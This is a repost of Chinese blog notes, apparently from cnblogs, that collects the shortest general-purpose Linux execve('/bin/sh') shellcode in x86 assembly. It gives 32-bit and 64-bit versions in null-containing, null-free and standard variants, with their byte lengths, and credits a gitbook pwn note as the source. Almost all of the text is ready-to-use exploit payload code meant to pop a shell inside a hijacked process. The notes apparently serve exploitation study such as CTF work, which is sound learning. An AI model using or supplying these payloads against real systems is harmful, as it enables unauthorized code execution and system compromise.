zoukankan      html  css  js  c++  java
  • Linux_ShellCode总结


      在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写。


    32位

    有"x00"最短 20 byte

    xor ecx,ecx               
    mul ecx                   
    mov al,0xb                
    push 0x68732f             
    push 0x6e69622f           
    mov ebx,esp               
    int 0x80

    无"x00"最短 21 byte

    xor ecx,ecx
    mul ecx
    push eax
    mov al,0xb
    push 0x68732f2f   
    push 0x6e69622f   
    mov ebx,esp
    int 0x80

    标准shellcode 23 byte

    xor ecx,ecx
    xor edx,edx
    push edx
    push 0x68732f2f
    push 0x6e69622f
    mov ebx,esp
    xor eax,eax
    mov al,0xB
    int 0x80

    64位

    最短有"x00" 22 byte
    xor rsi,rsi
    mul esi
    mov rbx,0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    mov al, 59
    syscall

    最短无"x00" 23 byte

    xor rsi,rsi
    mul esi
    push rax
    mov rbx,0x68732f2f6e69622f
    push rbx
    push rsp
    pop rdi
    mov al, 59
    syscall

    标准shellcode 31 byte

    xor    rdi,rdi
    xor    rsi,rsi
    xor    rdx,rdx
    xor    rax,rax
    push   rax
    mov rbx,0x68732f2f6e69622f
    push   rbx
    mov    rdi,rsp
    mov    al,0x3b
    syscall

    上述内容全部来源于:https://b0ldfrev.gitbook.io/note/pwn/linux_shellcode

    我只是知识的搬运工,侵删!

  • 相关阅读:
    未解
    HDU 4642 Fliping game 解题报告
    HDU 4639 Hehe 解题报告
    深入浅出Node.js (11)
    JS文本框获取焦点
    深入理解 BFC
    JS 中函数名后面加与不加括号的区别
    ES6 箭头函数
    sublime 格式化代码
    <!--more-->搭建的博客设置主页内容高度
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14558328.html
Copyright © 2011-2022 走看看